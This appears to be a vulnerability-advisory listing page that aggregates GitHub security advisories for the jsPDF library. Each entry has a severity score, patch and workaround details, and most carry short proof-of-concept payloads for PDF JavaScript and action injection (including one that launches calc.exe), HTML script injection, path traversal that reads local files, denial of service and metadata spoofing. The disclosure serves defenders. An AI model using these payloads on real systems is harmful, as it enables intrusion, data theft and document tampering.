Where
-Infinity
0

Vendor Risk Score

See how parall compares to other vendors in security performance

View Risk Score →
Severity
9.6
EPSS
0.04%
Code Injection
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Impact

User control of the argument of the addJS method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.

js import { jsPDF } from "jspdf"; const doc = new jsPDF(); // Payload: // 1. ) closes the JS string. // 2. > closes the current dictionary. // 3. /AA ... injects an "Additional Action" that executes on focus/open. const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";

doc.addJS(maliciousPayload); doc.save("vulnerable.pdf");

Patches The vulnerability has been fixed in jspdf@4.2.0.

Workarounds Escape parentheses in user-provided JavaScript code before passing them to the addJS method. References https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md

1 / 3
Source: GitHub
First published (updated )
Severity
9.6
EPSS
0.03%
XSS
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Impact

User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to one of the following property, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim hovers over the radio option.

AcroformChildClass.appearanceState

Example attack vector:

js import { jsPDF } from "jspdf" const doc = new jsPDF();

const group = new doc.AcroFormRadioButton(); group.x = 10; group.y = 10; group.width = 20; group.height = 10; doc.addField(group);

const child = group.createOption("opt1"); child.x = 10; child.y = 10; child.width = 20; child.height = 10; child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";

doc.save("test.pdf");

Patches

The vulnerability has been fixed in jsPDF@4.2.0.

Workarounds Sanitize user input before passing it to the vulnerable API members.

1 / 3
Source: GitHub
First published (updated )
Severity
9.6
EPSS
0.04%
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

Impact

User control of the options argument of the output function allows attackers to inject arbitrary HTML (such as scripts) into the browser context the created PDF is opened in. The affected overloads and options are:

"pdfobjectnewwindow": the pdfObjectUrl option and the entire options object, which is JSON-serialized and included verbatim in the generated HTML-string. "pdfjsnewwindow": the pdfJsUrl and filename options "dataurlnewwindow": the filename option

The vulnerability can be exploited in the following scenario: the attacker provides values for the output options, for example via a web interface. These values are then passed unsanitized (automatically or semi-automatically) to the attack victim. The victim creates and opens a PDF with the attack vector using one of the vulnerable method overloads inside their browser. The attacker can thus inject scripts that run in the victims browser context and can extract or modify secrets from this context.

Example attack vector:

js import { jsPDF } from 'jspdf'; const doc = new jsPDF();

const payload = 'x\"></iframe><script>window.n=1</script><iframe src="';

doc.output('pdfjsnewwindow', { filename: payload, pdfJsUrl: 'viewer.html' });

Patches The vulnerability has been fixed in jspdf@4.2.1.

Workarounds Sanitize user input before passing it to the output method.

1 / 3
Source: GitHub
First published (updated )
Severity
9.2
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact User control of the first argument of the loadFile method in the node.js build allows local file inclusion/path traversal.

If given the possibility to pass unsanitized paths to the loadFile method, a user can retrieve file contents of arbitrary files in the local file system the node process is running in. The file contents are included verbatim in the generated PDFs.

Other affected methods are: addImage, html, addFont.

Only the node.js builds of the library are affected, namely the dist/jspdf.node.js and dist/jspdf.node.min.js files.

Example attack vector:

js import { jsPDF } from "./dist/jspdf.node.js";

const doc = new jsPDF();

doc.addImage("./secret.txt", "JPEG", 0, 0, 10, 10); doc.save("test.pdf"); // the generated PDF will contain the "secret.txt" file

Patches The vulnerability has been fixed in jsPDF@4.0.0. This version restricts file system access per default. This semver-major update does not introduce other breaking changes.

Workarounds With recent node versions, jsPDF recommends using the --permission flag in production. The feature was introduced experimentally in v20.0.0 and is stable since v22.13.0/v23.5.0/v24.0.0. See the node documentation for details.

For older node versions, sanitize user-provided paths before passing them to jsPDF.

Credits Researcher: kilkat (Kwangwoon Kim)

1 / 3
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.06%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact User control of the first argument of the addImage method results in CPU utilization and denial of service.

If given the possibility to pass unsanitized image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.

Other affected methods are: html, addSvgAsImage.

Example payload: js import { jsPDF } from "jpsdf"

const doc = new jsPDF(); const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';

const startTime = performance.now()

try { doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW"); } catch (err) { const endTime = performance.now() console.log(Call to doc.addImage took ${endTime - startTime} milliseconds) }

doc.save("a4.pdf");

Patches The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1

Workarounds Sanitize image urls before passing it to the addImage method or one of the other affected methods.

Credits Researcher: Aleksey Solovev (Positive Technologies)

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact User control of the first argument of the addImage method results in CPU utilization and denial of service.

If given the possibility to pass unsanitized image data or URLs to the addImage method, a user can provide a harmful PNG file that results in high CPU utilization and denial of service.

Other affected methods are: html.

Example payload:

js import { jsPDF } from "jspdf"

const payload = new Uint8Array([117, 171, 90, 253, 166, 154, 105, 166, 154])

const doc = new jsPDF(); const startTime = performance.now(); try { doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW"); } finally { const endTime = performance.now(); console.log(Call to doc.addImage took ${endTime - startTime} milliseconds); }

Patches The vulnerability was fixed in jsPDF 3.0.2. Upgrade to jspdf@>=3.0.2.

In jspdf@>=3.0.2, invalid PNG files throw an Error instead of causing very long running loops.

Workarounds Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods.

Credits Researcher: Aleksey Solovev (Positive Technologies)

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.02%
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

User control of the first argument of the addImage method results in Denial of Service.

If given the possibility to pass unsanitized image data or URLs to the addImage method, a user can provide a harmful BMP file that results in out of memory errors and denial of service. Harmful BMP files have large width and/or height entries in their headers, wich lead to excessive memory allocation.

Other affected methods are: html.

Example attack vector:

js import { jsPDF } from "jspdf"

// malicious BMP image data with large width/height headers const payload = ...

const doc = new jsPDF();

doc.addImage(payload, "BMP", 0, 0, 100, 100);

Patches

The vulnerability has been fixed in jsPDF 4.1.0. Upgrade to jspdf@>=4.1.0.

Workarounds

Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.05%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

User control of the first argument of the addImage method results in denial of service.

If given the possibility to pass unsanitized image data or URLs to the addImage method, a user can provide a harmful GIF file that results in out of memory errors and denial of service. Harmful GIF files have large width and/or height entries in their headers, wich lead to excessive memory allocation.

Other affected methods are: html.

Example attack vector:

js import { jsPDF } from "jspdf"

// malicious GIF image data with large width/height headers const payload = ...

const doc = new jsPDF();

doc.addImage(payload, "GIF", 0, 0, 100, 100);

Patches

The vulnerability has been fixed in jsPDF 4.1.1. Upgrade to jspdf@>=4.2.0.

Workarounds

Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods. References https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25535.md

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
EPSS
0.01%
XSS
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Impact

User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:

AcroformChoiceField.addOption AcroformChoiceField.setOptions AcroFormCheckBox.appearanceState AcroFormRadioButton.appearanceState

Example attack vector:

js import { jsPDF } from "jspdf" const doc = new jsPDF();

var choiceField = new doc.AcroFormChoiceField(); choiceField.T = "VulnerableField"; choiceField.x = 20; choiceField.y = 20; choiceField.width = 100; choiceField.height = 20;

// PAYLOAD: // 1. Starts with "/" to bypass escaping. // 2. "dummy]" closes the array. // 3. "/AA" injects an Additional Action (Focus event). // 4. "/JS" executes arbitrary JavaScript. const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";

choiceField.addOption(payload); doc.addField(choiceField);

doc.save("test.pdf");

Patches

The vulnerability has been fixed in jsPDF@4.1.0.

Workarounds Sanitize user input before passing it to the vulnerable API members.

Credits Research and fix: Ahmet Artuç

1 / 3
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.03%
Code Injection
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Impact

User control of arguments of the createAnnotation method allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..

createAnnotation: color parameter

Example attack vector:

js import { jsPDF } from 'jspdf'

const doc = new jsPDF();

const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';

doc.createAnnotation({ type: 'freetext', bounds: { x: 10, y: 10, w: 120, h: 20 }, contents: 'hello', color: payload });

doc.save('test.pdf');

Patches

The vulnerability has been fixed in jsPDF@4.2.1.

Workarounds Sanitize user input before passing it to the vulnerable API members.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

This affects the package jspdf before 2.3.1. ReDoS is possible via the addImage function.

First published (updated )
Severity
6.9
EPSS
0.02%
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

User control of the first argument of the addMetadata function allows users to inject arbitrary XML.

If given the possibility to pass unsanitized input to the addMetadata method, a user can inject arbitrary XMP metadata into the generated PDF. If the generated PDF is signed, stored or otherwise processed after, the integrity of the PDF can no longer be guaranteed.

Example attack vector:

js import { jsPDF } from "jspdf"

const doc = new jsPDF()

// Input a string that closes the current XML tag and opens a new one. // We are injecting a fake "dc:creator" (Author) to spoof the document source. const maliciousInput = '</jspdf:metadata></rdf:Description>' + '<rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/">' + '<dc:creator>TRUSTEDADMINISTRATOR</dc:creator>' + // <--- Spoofed Identity '</rdf:Description>' + '<rdf:Description><jspdf:metadata>'

// The application innocently adds the user's input to the metadata doc.addMetadata(maliciousInput, "http://valid.namespace")

doc.save("test.pdf")

Patches

The vulnerability has been fixed in jsPDF@4.1.0

Workarounds

Sanitize user input before passing it to the addMetadata method: escape XML entities. For example:

js let input = "..."

input = input .replace(/&/g, "&amp;") .replace(/</g, "&lt;") .replace(/>/g, "&gt;") .replace(/"/g, "&quot;") .replace(/'/g, "&apos;")

doc.addMetadata(input)

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

In all versions of the package jspdf, it is possible to use <<script>script> in order to go over the filtering regex.

1 / 2
First published (updated )
Severity
6.3
EPSS
0.01%
Infoleak, Race Condition
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

The addJS method in the jspdf Node.js build utilizes a shared module-scoped variable (text) to store JavaScript content. When used in a concurrent environment (e.g., a Node.js web server), this variable is shared across all requests.

If multiple requests generate PDFs simultaneously, the JavaScript content intended for one user may be overwritten by a subsequent request before the document is generated. This results in Cross-User Data Leakage, where the PDF generated for User A contains the JavaScript payload (and any embedded sensitive data) intended for User B.

Typically, this only affects server-side environments, although the same race conditions might occur if jsPDF runs client-side.

js import { jsPDF } from "jspdf";

const docA = new jsPDF(); const docB = new jsPDF();

// 1. User A sets their script (stored in shared 'text' variable) docA.addJS('console.log("Secret A");');

// 2. User B sets their script (overwrites shared 'text' variable) docB.addJS('console.log("Secret B");');

// 3. User A saves their PDF (reads current 'text' variable) docA.save("userA.pdf");

// Result: userA.pdf contains "Secret B" instead of "Secret A"

Patches The vulnerability has been fixed in jspdf@4.0.1. The fix moves the shared variable into the function scope, ensuring isolation between instances.

Workarounds Avoid using the addJS method in concurrent server-side environments. If usage is required, ensure requests are processed sequentially (e.g., using a queue) rather than in parallel.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It's possible to inject JavaScript code via the html method.

1 / 2
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203